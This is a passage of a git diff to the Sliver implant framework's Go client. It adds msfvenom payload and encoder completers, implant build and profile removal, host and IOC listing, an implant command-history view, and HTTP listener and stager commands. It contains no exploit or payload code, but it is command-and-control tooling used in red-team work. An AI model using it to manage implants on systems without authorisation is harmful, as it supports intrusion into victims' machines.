&commonpb.Empty{}) +// MsfFormatCompleter completes MsfVenom stager formats. +func MsfFormatCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch traffic encoders: %s", err.Error()) + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) } - results := []string{} - for _, encoder := range trafficEncoders.Encoders { - results = append(results, encoder.Wasm.Name) - skipTests := "" - if encoder.SkipTests { - skipTests = "[skip-tests]" + var results []string + + for _, fmt := range info.Formats { + fmt = strings.TrimSpace(fmt) + if fmt == "" { + continue } - desc := fmt.Sprintf("(Wasm: %s) %s", encoder.Wasm.Name, skipTests) + + results = append(results, fmt) + + } + + return carapace.ActionValues(results...).Tag("msfvenom formats") + }).Cache(completers.CacheMsf) +} + +// MsfArchCompleter completes MsfVenom stager architectures. +func MsfArchCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, arch := range info.Archs { + arch = strings.TrimSpace(arch) + if arch == "" { + continue + } + + results = append(results, arch) + } + + return carapace.ActionValues(results...).Tag("msfvenom archs") + }).Cache(completers.CacheMsf) +} + +// MsfFormatCompleter completes MsfVenom stager encoders. +func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Encoders { + results = append(results, mod.FullName) + + level := fmt.Sprintf("%-10s", "["+mod.Quality+"]") + desc := fmt.Sprintf("%s %s", level, mod.Description) + results = append(results, desc) } - return carapace.ActionValuesDescribed(results...).Tag("traffic encoders") - }) + return carapace.ActionValuesDescribed(results...).Tag("msfvenom encoders") + }).Cache(completers.CacheMsf) +} + +// MsfPayloadCompleter completes Metasploit payloads. +func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Payloads { + if mod.FullName == "" && mod.Name == "" { + continue + } + + results = append(results, mod.FullName) + results = append(results, mod.Description) + } + + return carapace.ActionValuesDescribed(results...) + }).Cache(completers.CacheMsf, cache.String("payloads")).MultiParts("/").StyleF(style.ForPath) } diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index acb6f6b92e..935bbfef87 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -11,30 +11,30 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ImplantsRmCmd - Deletes an archived implant build from the server -func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - name := args[0] - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No name specified\n") - return - } - build := ImplantBuildByName(name, con) - if build == nil { - con.PrintErrorf("No implant build found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete implant %s\n", err) - return +// ImplantsRmCmd - Deletes an archived implant build from the server. +func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, name := range args { + if name == "" { + continue + } + + build := ImplantBuildByName(name, con) + if build == nil { + con.PrintErrorf("No implant build found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete implant %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 3cdc0afc5a..0ec29d09f1 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -33,7 +33,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// ImplantBuildFilter - Filter implant builds +// ImplantBuildFilter - Filter implant builds. type ImplantBuildFilter struct { GOOS string GOARCH string @@ -43,11 +43,11 @@ type ImplantBuildFilter struct { Debug bool } -// ImplantsCmd - Displays archived implant builds -func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ImplantsCmd - Displays archived implant builds. +func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } implantBuildFilters := ImplantBuildFilter{} @@ -59,13 +59,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintImplantBuilds - Print the implant builds on the server -func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) { +// PrintImplantBuilds - Print the implant builds on the server. +func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", - "Implant Type", + "Type", "Template", "OS/Arch", "Format", @@ -120,17 +121,21 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl } con.Println(tw.Render()) - con.Println() + con.Println("\n") } -// ImplantBuildNameCompleter - Completer for implant build names -func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ImplantBuildNameCompleter - Completer for implant build names. +func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + var action carapace.Action builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to get implant builds: %s", err.Error()) + return carapace.ActionMessage("failed to get implant builds: %s", con.UnwrapServerErr(err)) } filters := &ImplantBuildFilter{} @@ -193,8 +198,8 @@ func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action return carapace.ActionCallback(comps) } -// ImplantBuildByName - Get an implant build by name -func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig { +// ImplantBuildByName - Get an implant build by name. +func ImplantBuildByName(name string, con *console.SliverClient) *clientpb.ImplantConfig { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { return nil diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index f83ab231e2..307bca8d54 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ProfilesGenerateCmd - Generate an implant binary based on a profile -func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesGenerateCmd - Generate an implant binary based on a profile. +func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -57,7 +57,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a profile.Config.Name = buildImplantName(implantFile.Name) _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { - con.PrintErrorf("could not update implant profile: %v\n", err) + con.PrintErrorf("could not update implant profile: %v\n", con.UnwrapServerErr(err)) return } } else { diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index 8d04ff0a85..95b71a4cb3 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ProfilesNewCmd - Create a new implant profile -func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesNewCmd - Create a new implant profile. +func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -43,14 +43,14 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Saved new implant profile %s\n", resp.Name) } } -// ProfilesNewBeaconCmd - Create a new beacon profile -func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesNewBeaconCmd - Create a new beacon profile. +func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index 4015c4ea87..3081e78196 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -29,33 +29,33 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ProfilesRmCmd - Delete an implant profile -func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - var name string - if len(args) > 0 { - name = args[0] - } - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No profile name specified\n") - return - } - profile := GetImplantProfileByName(name, con) - if profile == nil { - con.PrintErrorf("No profile found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete profile %s\n", err) - return +// ProfilesRmCmd - Delete an implant profile. +func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, name := range args { + if name == "" { + continue + } + if name == "" { + con.PrintErrorf("No profile name specified\n") + return + } + profile := GetImplantProfileByName(name, con) + if profile == nil { + con.PrintErrorf("No profile found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete profile %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 2fc45faa77..2ef8dcb29b 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// ProfilesCmd - Display implant profiles -func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProfilesCmd - Display implant profiles. +func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profiles := getImplantProfiles(con) if profiles == nil { return @@ -49,10 +49,11 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintProfiles - Print the profiles -func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) { +// PrintProfiles - Print the profiles. +func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Profile Name", "Implant Type", @@ -97,20 +98,20 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso con.Printf("%s\n", tw.Render()) } -func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile { +func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } return pbProfiles.Profiles } -// GetImplantProfileByName - Get an implant profile by a specific name -func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile { +// GetImplantProfileByName - Get an implant profile by a specific name. +func GetImplantProfileByName(name string, con *console.SliverClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } for _, profile := range pbProfiles.Profiles { @@ -263,8 +264,8 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string return properties } -// PrintProfileInfo - Print detailed information about a given profile -func PrintProfileInfo(name string, con *console.SliverConsoleClient) { +// PrintProfileInfo - Print detailed information about a given profile. +func PrintProfileInfo(name string, con *console.SliverClient) { profile := GetImplantProfileByName(name, con) if profile == nil { con.PrintErrorf("Could not find a profile with the name \"%s\"", name) @@ -273,7 +274,7 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { config := profile.Config properties := populateProfileProperties(config) - //con.Printf("--- Details for profile %s ---\n", profile.Name) + tw := table.NewWriter() // Implant Basics @@ -420,14 +421,18 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { } } -// ProfileNameCompleter - Completer for implant build names -func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ProfileNameCompleter - Completer for implant build names. +func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + var action carapace.Action pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", err.Error())) + return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", con.UnwrapServerErr(err))) } if len(pbProfiles.Profiles) == 0 { diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 2720a383df..a72f884351 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// RegenerateCmd - Download an archived implant build/binary -func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegenerateCmd - Download an archived implant build/binary. +func RegenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { save, _ := cmd.Flags().GetString("save") if save == "" { save, _ = os.Getwd() @@ -44,7 +44,7 @@ func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] ImplantName: name, }) if err != nil { - con.PrintErrorf("Failed to regenerate implant %s\n", err) + con.PrintErrorf("Failed to regenerate implant %s\n", con.UnwrapServerErr(err)) return } if regenerate.File == nil { diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index 281167634c..fccb56c5a6 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -28,7 +28,6 @@ import ( "strings" "text/template" - "github.com/bishopfox/sliver/client/command/creds" consts "github.com/bishopfox/sliver/client/constants" ) @@ -1219,7 +1218,7 @@ Sliver uses the same hash identifiers as Hashcat (use the #): % 10s - One hash per line. % 10s - A file containing lines of 'username:hash' pairs. % 10s - A CSV file containing 'username,hash' pairs (additional columns ignored). -`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat) +`, consts.HashNewlineFormat, consts.UserColonHashNewlineFormat, consts.CSVFormat) ) const ( diff --git a/client/command/history/history.go b/client/command/history/history.go new file mode 100644 index 0000000000..68eb8d31d9 --- /dev/null +++ b/client/command/history/history.go @@ -0,0 +1,101 @@ +package history + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ +import ( + "context" + "fmt" + "strconv" + "time" + + "github.com/fatih/color" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" +) + +// Commands returns all commands related to implant history. +func Commands(con *console.SliverClient) []*cobra.Command { + historyCmd := &cobra.Command{ + Use: "history", + Short: "Print the implant command history", + GroupID: constants.SliverCoreHelpGroup, + RunE: func(cmd *cobra.Command, args []string) error { + sess, beac := con.ActiveTarget.Get() + if sess == nil && beac == nil { + return nil + } + + user, _ := cmd.Flags().GetBool("user") + showTime, _ := cmd.Flags().GetBool("time") + clientUser := con.Teamclient.Config().User + + req := &clientpb.HistoryRequest{ + UserOnly: user, + } + + if sess != nil { + req.ImplantID = sess.ID + req.ImplantName = sess.Name + } else if beac != nil { + req.ImplantID = beac.ID + req.ImplantName = beac.Name + } + + history, err := con.Rpc.GetImplantHistory(context.Background(), req) + if err != nil { + return con.UnwrapServerErr(err) + } + + commands := history.GetCommands() + + for i := len(commands) - 1; i >= 0; i-- { + command := commands[i] + + if user && command.GetUser() != clientUser { + continue + } + + preLine := color.HiBlackString("%-3s", strconv.Itoa(i)) + + if !user { + preLine += console.Orange + fmt.Sprintf("%*s\t", 5, command.User) + console.Normal + } + if showTime { + execAt := time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp) + preLine += console.Blue + execAt + console.Normal + "\t" + } + + fmt.Println(preLine + command.Block) + } + + return nil + }, + } + + flags.Bind("history", false, historyCmd, func(f *pflag.FlagSet) { + f.BoolP("user", "u", false, "Only print implant commands executed by user") + f.BoolP("time", "t", false, "Print the exec time before the command line (tab separated)") + }) + + return []*cobra.Command{historyCmd} +} diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go new file mode 100644 index 0000000000..dcb7f97b6a --- /dev/null +++ b/client/command/hosts/commands.go @@ -0,0 +1,59 @@ +package hosts + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + hostsCmd := &cobra.Command{ + Use: consts.HostsStr, + Short: "Manage the database of hosts", + Long: help.GetHelpFor([]string{consts.HostsStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("hosts", true, hostsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + hostsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a host from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsRmCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsRmCmd) + + hostsIOCCmd := &cobra.Command{ + Use: consts.IOCStr, + Short: "Manage tracked IOCs on a given host", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCCmd(cmd, con, args) + }, + } + hostsCmd.AddCommand(hostsIOCCmd) + + hostsIOCRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Delete IOCs from the database", + Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + HostsIOCRmCmd(cmd, con, args) + }, + } + hostsIOCCmd.AddCommand(hostsIOCRmCmd) + + return []*cobra.Command{hostsCmd} +} diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index b8b2ad47fc..42bd9500d5 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// HostsIOCRmCmd - Remove a host from the database -func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsIOCRmCmd - Remove a host from the database. +func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -40,7 +40,7 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } _, err = con.Rpc.HostIOCRm(context.Background(), ioc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed host from database\n") diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index b52d409995..4bc08a167a 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -29,12 +29,13 @@ import ( "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HostsIOCCmd - Remove a host from the database -func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsIOCCmd - Remove a host from the database. +func HostsIOCCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -48,9 +49,10 @@ func HostsIOCCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string { +func hostIOCsTable(host *clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(table.StyleBold) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"File Path", "SHA-256"}) for _, ioc := range host.IOCs { tw.AppendRow(table.Row{ @@ -61,7 +63,7 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) { +func SelectHostIOC(host *clientpb.Host, con *console.SliverClient) (*clientpb.IOC, error) { // Sort the keys because maps have a randomized order, these keys must be ordered for the selection // to work properly since we rely on the index of the user's selection to find the session in the map var keys []string diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index 0066ed5305..6db5dd1846 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// HostsRmCmd - Remove a host from the database -func HostsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsRmCmd - Remove a host from the database. +func HostsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { con.PrintErrorf("%s\n", err) @@ -35,7 +35,7 @@ func HostsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } _, err = con.Rpc.HostRm(context.Background(), host) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed host from database\n") diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index 5655183884..528e4283ae 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -29,28 +29,27 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" ) var ( - // ErrNoHosts - No hosts in database + // ErrNoHosts - No hosts in database. ErrNoHosts = errors.New("no hosts") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") ) -// HostsCmd - Main hosts command -func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HostsCmd - Main hosts command. +func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if 0 < len(allHosts.Hosts) { @@ -60,9 +59,10 @@ func HostsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } } -func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string { +func hostsTable(hosts []*clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Hostname", @@ -96,7 +96,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string return tw.Render() } -func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { +func hostSessions(hostUUID string, con *console.SliverClient) string { hostSessions := SessionsForHost(hostUUID, con) if len(hostSessions) == 0 { return "None" @@ -108,7 +108,7 @@ func hostSessions(hostUUID string, con *console.SliverConsoleClient) string { return fmt.Sprintf("%d", len(sessionIDs)) } -func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { +func hostBeacons(hostUUID string, con *console.SliverClient) string { beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { return "Error" @@ -126,8 +126,8 @@ func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string { } } -// SessionsForHost - Find session for a given host by id -func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session { +// SessionsForHost - Find session for a given host by id. +func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { return []*clientpb.Session{} @@ -141,11 +141,11 @@ func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clien return hostSessions } -// SelectHost - Interactively select a host from the database -func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) { +// SelectHost - Interactively select a host from the database. +func SelectHost(con *console.SliverClient) (*clientpb.Host, error) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } // Sort the keys because maps have a randomized order, these keys must be ordered for the selection // to work properly since we rely on the index of the user's selection to find the session in the map diff --git a/client/command/http/commands.go b/client/command/http/commands.go new file mode 100644 index 0000000000..8dbd5639b8 --- /dev/null +++ b/client/command/http/commands.go @@ -0,0 +1,95 @@ +package http + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `http` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + httpCmd := &cobra.Command{ + Use: consts.HttpStr, + Short: "HTTP handlers management", + GroupID: consts.NetworkHelpGroup, + } + + // Sliver listeners + listenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start an HTTP listener", + Long: help.GetHelpFor([]string{consts.HttpStr}), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + httpCmd.AddCommand(listenCmd) + + flags.Bind("HTTP listener", false, listenCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // Staging listeners + stageCmd := &cobra.Command{ + Use: consts.ServeStr, + Short: "Start a stager 